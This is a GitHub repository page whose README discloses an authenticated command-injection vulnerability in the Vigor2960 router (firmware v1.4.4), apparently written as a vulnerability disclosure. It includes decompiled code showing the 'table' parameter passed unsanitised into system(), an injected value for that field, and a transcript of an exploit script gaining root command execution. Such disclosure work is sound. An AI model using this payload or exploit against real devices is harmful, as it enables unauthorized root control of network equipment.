













 **1 Branch**  **Tags**  



About Code ...

 **Giles-one** Initial commit.
9c970da · last month 

 cgi-bin	Initial commit.	last month
 img	Initial commit.	last month
 READM...	Initial commit.	last month
 exp.py	Initial commit.	last month

No description, website, or topics provided.

-  **Readme**
-  **Activity**
-  **0 stars**
-  **1 watching**
-  **0 forks**
- [Report repository](#)

 **README** 

TL;DR

Vendor: Vigor2960

Firmware: v1.4.4

An authorized RCE vulnerability exists in the Vigor2960 router, where an attacker can place a malicious command into the `table` parameter of the `doPPPoE` function in the `cgi-bin/mainfunction.cgi` route, and finally the command is executed by the `system` function in the command splice string.

Analysis

The vulnerability occurs in `/www/cgi-bin/mainfunction.cgi` in the Vigor2960 router filesystem, and if you want to reproduce it you can download [firmware](#) here , and of course I've dumped the [file](#) to this repo.

Releases

No releases published

Packages

No packages published

Languages

-  **Python** 100.0%

In the `doPPPoE` function of the `cgi-bin/mainfunction.cgi` route in the management interface of this router, it accepts a `table` parameter and an `option` parameter. When the option is "terminate", the table parameter will be formatted into `kill %s` and the `system` is used to execute the command.

```
1 int sub_1DAB8()
2 {
3     // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
4
5     v0 = sub_D780();
6     v1 = -16;
7     v2 = 0;
8     if ( !v0 )
9     {
10         v3 = sub_18A00(0);
11         v2 = 0;
12         if ( v3 > 3 )
13         {
14             Value = cgiGetValue(dword_42D0C, "table");
15             v5 = (const char *)cgiGetValue(dword_42D0C, "option");
16             memset(v11, 0, 0x80u);
17             v6 = strcmp(v5, "terminate");
18             v7 = (const char *)Value;
19             v8 = v6;
20             if ( v6 )
21             {
22                 v1 = -2;
23                 v2 = 0;
24             }
25             else
26             {
27                 sprintf(v11, "kill %s", v7);
28                 v9 = system(v11);
29                 v1 = -1;
30                 if ( v9 )
31                 {
32                     v2 = v8;
33                 }
34             }
35         }
36     }
37 }
```

Annotations in the original image:

- Red arrows point to `Value = cgiGetValue(dword_42D0C, "table");` and `v7 = (const char *)Value;`.
- A red arrow points to `strcmp(v5, "terminate");`.
- A red arrow points to `sprintf(v11, "kill %s", v7);`.
- A red bracket on the right groups the `if (v6)` and `else` blocks, with the text: `{ "table": "$($reboot)", "option": "terminate" }`.

Exploit

```
$ python exp.py \
  --host $IP \
  --port $PORT \
  --username $USERNAME \
  --password $PASSWORD
```



```
(hacker) $ python exp.py --host $IP --port $PORT --username admin --password admin
> id > /www/id
[+] executing id > /www/id
[+] OK
(hacker) $ curl http://$IP:$PORT/id
uid=0(root) gid=0(root)
(hacker) $
(hacker) $ python exp.py --host $IP --port $PORT --username admin --password admin
```